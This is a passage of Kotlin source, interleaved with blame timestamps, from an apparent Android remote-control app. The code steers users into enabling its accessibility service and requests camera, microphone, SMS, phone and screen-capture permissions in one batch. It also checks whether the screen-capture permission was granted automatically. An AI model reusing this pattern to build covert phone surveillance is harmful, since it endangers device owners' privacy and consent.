|
|
|
|
// 使用线程安全方法
|
|
|
|
|
|
updateStatusTextThreadSafe("🎯 申请服务权限中...", android.R.color.holo_blue_dark)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 重置重试计数并启动自动重试权限检测
|
|
|
|
|
|
autoRetryCount = 0
|
|
|
|
|
|
startAutoRetryPermissionCheck()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:智能权限申请流程(绕过可能卡住的AccessibilityService逻辑)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startIntelligentPermissionFlow() {
|
|
|
|
|
|
Log.i(TAG, "🧠 启动智能权限申请流程")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🧠 检测到权限流程异常\n正在智能恢复权限申请..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 重置重试计数并启动自动重试权限检测
|
|
|
|
|
|
autoRetryCount = 0
|
|
|
|
|
|
startAutoRetryPermissionCheck()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:AccessibilityService故障恢复机制
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startAccessibilityServiceFailureRecovery() {
|
|
|
|
|
|
Log.i(TAG, "🔧 启动AccessibilityService故障恢复机制")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 检测到无障碍服务可能出现故障\n正在等待服务恢复..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启动智能等待和检测机制:每3秒检查一次,最多检查10次(30秒)
|
|
|
|
|
|
var checkCount = 0
|
|
|
|
|
|
val maxChecks = 10
|
|
|
|
|
|
val checkInterval = 3000L
|
|
|
|
|
|
|
|
|
|
|
|
val recoveryHandler = android.os.Handler(android.os.Looper.getMainLooper())
|
|
|
|
|
|
val recoveryRunnable = object : Runnable {
|
|
|
|
|
|
override fun run() {
|
|
|
|
|
|
checkCount++
|
|
|
|
|
|
Log.i(TAG, "🔍 AccessibilityService恢复检测 (${checkCount}/${maxChecks})")
|
|
|
|
|
|
|
|
|
|
|
|
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
|
|
|
|
|
|
if (serviceRunning && serviceInstance != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ AccessibilityService已恢复,启动智能权限申请")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "✅ 无障碍服务已恢复\n开始智能权限申请..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟1秒后启动权限申请,确保服务完全就绪
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
startIntelligentPermissionFlow()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
|
|
|
|
|
|
return // 停止继续检测
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI显示等待进度
|
|
|
|
|
|
val remainingChecks = maxChecks - checkCount
|
|
|
|
|
|
val remainingTime = (remainingChecks * checkInterval) / 1000
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 等待无障碍服务恢复...\n" +
|
|
|
|
|
|
"第${checkCount}次检测,剩余${remainingChecks}次\n" +
|
|
|
|
|
|
"预计还需${remainingTime}秒,请稍候"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (checkCount < maxChecks) {
|
|
|
|
|
|
// 继续下次检测
|
|
|
|
|
|
recoveryHandler.postDelayed(this, checkInterval)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 恢复超时,提供备用方案
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityService恢复超时,启动备用方案")
|
|
|
|
|
|
handleAccessibilityServiceRecoveryTimeout()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 开始第一次检测
|
|
|
|
|
|
recoveryHandler.postDelayed(recoveryRunnable, checkInterval)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:AccessibilityService恢复超时处理
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAccessibilityServiceRecoveryTimeout() {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityService恢复超时,提供备用权限申请方案")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "⚠️ 无障碍服务长时间无响应\n尝试备用权限申请方案..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试直接申请MediaProjection权限,不依赖AccessibilityService
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
Log.i(TAG, "🔄 启动备用权限申请:直接申请MediaProjection权限")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔄 启动备用服务权限申请方案\n正在申请服务权限..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 直接申请权限,不依赖AccessibilityService的自动处理
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 删除悬浮窗权限相关方法
|
|
|
|
|
|
|
|
|
|
|
|
private fun isAccessibilityServiceEnabled(): Boolean {
|
|
|
|
|
|
val serviceName = "${packageName}/${AccessibilityRemoteService::class.java.name}"
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 首先检查无障碍服务是否全局启用
|
|
|
|
|
|
val accessibilityEnabled = Settings.Secure.getInt(
|
|
|
|
|
|
contentResolver,
|
|
|
|
|
|
Settings.Secure.ACCESSIBILITY_ENABLED
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (accessibilityEnabled != 1) {
|
|
|
|
|
|
Log.d(TAG, "🔍 无障碍服务全局未启用")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 然后检查我们的服务是否在启用列表中
|
|
|
|
|
|
val enabledServices = Settings.Secure.getString(
|
|
|
|
|
|
contentResolver,
|
|
|
|
|
|
Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
val isEnabled = enabledServices?.contains(serviceName) == true
|
|
|
|
|
|
Log.d(TAG, "🔍 无障碍服务检查: 全局启用=$accessibilityEnabled, 服务启用=$isEnabled, 服务名=$serviceName")
|
|
|
|
|
|
return isEnabled
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "检查无障碍权限失败", e)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun openAccessibilitySettings() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 参考反编译逻辑:优先尝试三星专用Action
|
|
|
|
|
|
var intent = Intent("com.samsung.accessibility.installed_service").apply {
|
|
|
|
|
|
// 对应 268468224 的组合标志(保持原样,避免行为差异)
|
|
|
|
|
|
flags = 268468224
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 若不可达,退回标准无障碍设置
|
|
|
|
|
|
if (intent.resolveActivity(packageManager) == null) {
|
|
|
|
|
|
intent = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS)
|
|
|
|
|
|
if (intent.resolveActivity(packageManager) == null) {
|
|
|
|
|
|
// 最后兜底:标准无障碍设置 + 指定目标服务ComponentName
|
|
|
|
|
|
val fallback = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS).apply {
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
"android.intent.extra.COMPONENT_NAME",
|
|
|
|
|
|
android.content.ComponentName(
|
|
|
|
|
|
packageName,
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService::class.java.name
|
|
|
|
|
|
)
|
|
|
|
|
|
)
|
|
|
|
|
|
flags = 268468224
|
|
|
|
|
|
}
|
|
|
|
|
|
startActivity(fallback)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 将目标服务拼接为 fragment args,便于部分ROM直达目标服务项
|
|
|
|
|
|
val target =
|
|
|
|
|
|
packageName + "/" + com.hikoncont.service.AccessibilityRemoteService::class.java.name
|
|
|
|
|
|
val args =
|
|
|
|
|
|
android.os.Bundle().apply { putString(":settings:fragment_args_key", target) }
|
|
|
|
|
|
intent.putExtra(":settings:fragment_args_key", target)
|
|
|
|
|
|
intent.putExtra(":settings:show_fragment_args", args)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "打开无障碍设置失败", e)
|
|
|
|
|
|
// 兜底再次尝试标准入口
|
|
|
|
|
|
try {
|
|
|
|
|
|
startActivityForResult(
|
|
|
|
|
|
Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),
|
|
|
|
|
|
REQUEST_ACCESSIBILITY_PERMISSION
|
|
|
|
|
|
)
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送所有权限申请广播
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun sendAllPermissionsRequestBroadcast() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📡 发送所有权限申请广播")
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 发送广播给AccessibilityRemoteService
|
|
|
|
|
|
val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply {
|
|
|
|
|
|
putExtra("action", "request_all_permissions")
|
|
|
|
|
|
putExtra("callback_action", "all_permissions_complete")
|
|
|
|
|
|
putExtra("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(intent)
|
|
|
|
|
|
Log.i(TAG, "✅ 已发送所有权限申请广播")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送所有权限申请广播失败", e)
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "❌ 广播发送失败\n请重试"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 一次性获取所有权限 - 调试按钮新功能
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestAllPermissionsAtOnce() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎯 开始一次性获取所有权限")
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟执行权限申请,确保UI更新
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 收集所有需要的权限
|
|
|
|
|
|
val allPermissions = mutableListOf<String>()
|
|
|
|
|
|
val permissionNames = mutableListOf<String>()
|
|
|
|
|
|
|
|
|
|
|
|
// 摄像头权限
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
allPermissions.add(android.Manifest.permission.CAMERA)
|
|
|
|
|
|
permissionNames.add("摄像头")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 麦克风权限
|
|
|
|
|
|
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
|
allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
|
|
|
|
|
|
permissionNames.add("麦克风")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 相册权限(根据Android版本选择)
|
|
|
|
|
|
val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
|
|
|
arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_MEDIA_IMAGES,
|
|
|
|
|
|
android.Manifest.permission.READ_MEDIA_VIDEO
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_EXTERNAL_STORAGE,
|
|
|
|
|
|
android.Manifest.permission.WRITE_EXTERNAL_STORAGE
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val needGalleryPermissions = galleryPermissions.filter {
|
|
|
|
|
|
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
|
|
|
|
|
}
|
|
|
|
|
|
if (needGalleryPermissions.isNotEmpty()) {
|
|
|
|
|
|
allPermissions.addAll(needGalleryPermissions)
|
|
|
|
|
|
permissionNames.add("相册")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 短信权限
|
|
|
|
|
|
val smsPermissions = arrayOf(
|
|
|
|
|
|
android.Manifest.permission.READ_SMS,
|
|
|
|
|
|
android.Manifest.permission.SEND_SMS,
|
|
|
|
|
|
android.Manifest.permission.RECEIVE_SMS,
|
|
|
|
|
|
android.Manifest.permission.READ_PHONE_STATE,
|
|
|
|
|
|
android.Manifest.permission.CALL_PHONE
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
val needSmsPermissions = smsPermissions.filter {
|
|
|
|
|
|
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
|
|
|
|
|
}
|
|
|
|
|
|
if (needSmsPermissions.isNotEmpty()) {
|
|
|
|
|
|
allPermissions.addAll(needSmsPermissions)
|
|
|
|
|
|
permissionNames.add("短信")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (allPermissions.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}")
|
|
|
|
|
|
Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}")
|
|
|
|
|
|
|
|
|
|
|
|
// 一次性申请所有权限
|
|
|
|
|
|
requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS)
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 所有权限已授予,无需申请")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "✅ 所有权限已授予\n无需申请"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 收集权限列表失败", e)
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "❌ 权限收集失败\n请重试"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1000) // 1秒延迟
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 一次性权限申请失败", e)
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "❌ 权限申请失败\n请重试"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun requestMediaProjectionPermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "申请MediaProjection权限")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:设备特定调试信息(不影响现有逻辑)
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL} (API ${android.os.Build.VERSION.SDK_INT})"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "🔍 ROM版本: ${android.os.Build.DISPLAY}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过)
|
|
|
|
|
|
// billd-desk通过Fragment.startActivityForResult(createScreenCaptureIntent())在所有版本申请权限
|
|
|
|
|
|
Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常申请MediaProjection权限(参考billd-desk)")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检测是否为已知的有问题的设备
|
|
|
|
|
|
val isXiaomiDevice =
|
|
|
|
|
|
android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("Redmi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("POCO", ignoreCase = true)
|
|
|
|
|
|
|
|
|
|
|
|
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测到Xiaomi Android 10设备,这类设备可能存在权限对话框不显示的问题")
|
|
|
|
|
|
Log.i(TAG, "🔧 将尝试简化的权限申请方法")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查MediaProjectionManager是否已初始化
|
|
|
|
|
|
if (mediaProjectionManager == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ MediaProjectionManager未初始化,重新初始化")
|
|
|
|
|
|
mediaProjectionManager =
|
|
|
|
|
|
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
|
|
|
|
|
if (mediaProjectionManager == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ 重新初始化MediaProjectionManager失败")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 通知无障碍服务开始权限申请
|
|
|
|
|
|
notifyAccessibilityServicePermissionRequest()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 为 MIUI 设备使用简化的权限申请方法
|
|
|
|
|
|
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) {
|
|
|
|
|
|
requestMediaProjectionPermissionForMIUI()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 创建MediaProjection权限请求Intent
|
|
|
|
|
|
val intent = mediaProjectionManager?.createScreenCaptureIntent()
|
|
|
|
|
|
if (intent == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ 创建MediaProjection权限Intent失败")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:详细的Intent信息(帮助诊断问题)
|
|
|
|
|
|
Log.i(TAG, "📋 权限Intent详情:")
|
|
|
|
|
|
Log.i(TAG, " - Component: ${intent.component}")
|
|
|
|
|
|
Log.i(TAG, " - Action: ${intent.action}")
|
|
|
|
|
|
Log.i(TAG, " - Package: ${intent.`package`}")
|
|
|
|
|
|
Log.i(TAG, " - Flags: 0x${intent.flags.toString(16)}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查Intent是否能被系统处理
|
|
|
|
|
|
try {
|
|
|
|
|
|
val resolveInfo = packageManager.resolveActivity(intent, 0)
|
|
|
|
|
|
if (resolveInfo != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ 系统可以处理权限Intent")
|
|
|
|
|
|
Log.i(TAG, " - 处理应用: ${resolveInfo.activityInfo.packageName}")
|
|
|
|
|
|
Log.i(TAG, " - 处理Activity: ${resolveInfo.activityInfo.name}")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ 系统无法处理权限Intent!这可能是问题根源")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查Intent处理能力时出错", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:Activity状态检查
|
|
|
|
|
|
Log.i(TAG, "📱 Activity状态:")
|
|
|
|
|
|
Log.i(TAG, " - isFinishing: $isFinishing")
|
|
|
|
|
|
Log.i(TAG, " - hasWindowFocus: ${hasWindowFocus()}")
|
|
|
|
|
|
Log.i(TAG, " - lifecycle.state: ${lifecycle.currentState}")
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 成功创建MediaProjection权限Intent,启动系统权限对话框")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:记录启动时间(用于后续分析)
|
|
|
|
|
|
val startTime = System.currentTimeMillis()
|
|
|
|
|
|
Log.i(TAG, "🚀 启动权限对话框时间: $startTime")
|
|
|
|
|
|
|
|
|
|
|
|
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:启动后立即检查(不改变现有逻辑)
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"✅ startActivityForResult调用完成,耗时: ${System.currentTimeMillis() - startTime}ms"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 启动MediaProjection权限监听,检测权限是否被自动获取
|
|
|
|
|
|
startMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 申请MediaProjection权限失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestMediaProjectionPermissionForMIUI() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔧 开始MIUI设备专用权限申请流程")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检测设备ROM版本,决定使用哪种方法
|
|
|
|
|
|
val buildVersion = android.os.Build.VERSION.RELEASE
|
|
|
|
|
|
val miuiVersion = android.os.Build.VERSION.INCREMENTAL
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔍 MIUI设备详情: Android $buildVersion, MIUI $miuiVersion")
|
|
|
|
|
|
|
|
|
|
|
|
// 方法1:确保Activity处于最佳状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 正在为设备优化权限申请...\n使用简化权限申请方法"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 对于容易崩溃的设备,直接使用内置方法,避免SimplePermissionActivity
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT <= 29) { // Android 10及以下
|
|
|
|
|
|
Log.i(TAG, "🔧 检测到Android 10及以下设备,直接使用内置方法避免兼容性问题")
|
|
|
|
|
|
requestMIUIBuiltinMethod()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 方法1:尝试使用独立的SimplePermissionActivity,增强异常处理
|
|
|
|
|
|
Log.i(TAG, "🧪 MIUI设备尝试使用SimplePermissionActivity")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
val simplePermissionIntent =
|
|
|
|
|
|
Intent(this, com.hikoncont.activity.SimplePermissionActivity::class.java)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查SimplePermissionActivity是否可以启动
|
|
|
|
|
|
val packageManager = packageManager
|
|
|
|
|
|
val resolveInfo = packageManager.resolveActivity(simplePermissionIntent, 0)
|
|
|
|
|
|
if (resolveInfo == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ SimplePermissionActivity无法解析,直接使用内置方法")
|
|
|
|
|
|
throw Exception("SimplePermissionActivity无法解析")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ SimplePermissionActivity可以启动,开始启动")
|
|
|
|
|
|
startActivityForResult(simplePermissionIntent, REQUEST_SIMPLE_PERMISSION)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动监听
|
|
|
|
|
|
startMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ MIUI设备SimplePermissionActivity已启动")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 添加超时检测,防止SimplePermissionActivity卡住
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
Log.w(TAG, "⚠️ SimplePermissionActivity启动超时,检查是否需要回退")
|
|
|
|
|
|
// 检查权限是否已获取,如果没有则回退到内置方法
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData == null) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ SimplePermissionActivity超时且权限未获取,回退到内置方法")
|
|
|
|
|
|
requestMIUIBuiltinMethod()
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 3000) // 缩短超时时间到3秒
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ SimplePermissionActivity启动异常", e)
|
|
|
|
|
|
throw e // 重新抛出异常,让外层catch处理
|
|
|
|
|
|
